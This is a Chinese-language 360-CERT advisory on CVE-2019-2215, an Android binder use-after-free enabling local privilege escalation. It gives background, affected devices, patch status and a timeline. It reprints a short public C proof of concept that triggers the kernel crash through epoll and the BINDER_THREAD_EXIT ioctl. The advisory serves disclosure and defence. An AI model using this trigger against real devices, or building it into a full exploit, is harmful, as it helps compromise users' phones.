CVE-2019-2215:安卓本地提权漏洞预警
2019-10-05 14:35

报告编号:B6-2019-100501

报告来源:360-CERT

报告作者:360-CERT

更新日期:2019-10-05

0x00 漏洞摘要

0day漏洞CVE-2019-2215由Google公司Project Zero小组发现,并被该公司的威胁分析小组(TAG)确认其已用于实际攻击中。TAG表示该漏洞利用可能跟一家出售漏洞和利用工具的以色列公司NSO有关,随后NSO集团发言人公开否认与该漏洞存在任何关系。

该漏洞实质是内核代码一处UAF漏洞,成功利用可以造成本地权限提升,并有可能完全控制用户设备。但要成功利用该漏洞,需要满足某些特定条件。

安卓开源项目(AOSP)一位发言人表示:“在安卓设备上,该漏洞的严重性很高,但它本身需要安装恶意应用程序以进行潜在利​​用。对于其它媒介向量,例如通过网络浏览器,需要附加额外的漏洞利用程序组成攻击链。

0x01 漏洞POC

该漏洞存在于android-msm-wahoo-4.4-pie分支或更多的其它地方(https://android.googlesource.com/kernel/msm),漏洞触发在/drivers/android/binder.c文件中。

已公开的在KASAN内核中触发UAF造成崩溃的POC代码如下:

#include <fcntl.h>
#include <sys/epoll.h>
#include <sys/ioctl.h>
#include <unistd.h>

#define BINDER_THREAD_EXIT 0x40046208ul

int main()
{
        int fd, epfd;
        struct epoll_event event = { .events = EPOLLIN };

        fd = open("/dev/binder0", O_RDONLY);
        epfd = epoll_create(1000);
        epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
        ioctl(fd, BINDER_THREAD_EXIT, NULL);
}

0x02 影响版本

该漏洞已于2017年12月在安卓内核3.18、4.14、4.4、4.9中修复,但在后续版本中又重新引用。根据Project Zero小组统计,目前该漏洞广泛存在于以下设备中:

  • 安卓9和安卓10预览版 Pixel 2
  • 华为 P20
  • 红米 5A
  • 红米 Note 5
  • 小米 A1
  • Oppo A3
  • 摩托罗拉 Z3
  • Oreo LG 系列
  • 三星 S7、S8、S9

0x03 修复建议

根据AOSP声明该漏洞已经通知各安卓合作伙伴,补丁已在Android Common Kernel上提供。预计各厂商将在未来几天内陆续发布更新修补漏洞。

360-CERT提醒安卓用户关注补丁更新。

0x04 时间线

2019-09-27 Google公司Project Zero小组发现并提交漏洞

2019-10-05 360-CERT发布预警

0x05 参考链接

  1. https://bugs.chromium.org/p/project-zero/issues/detail?id=1942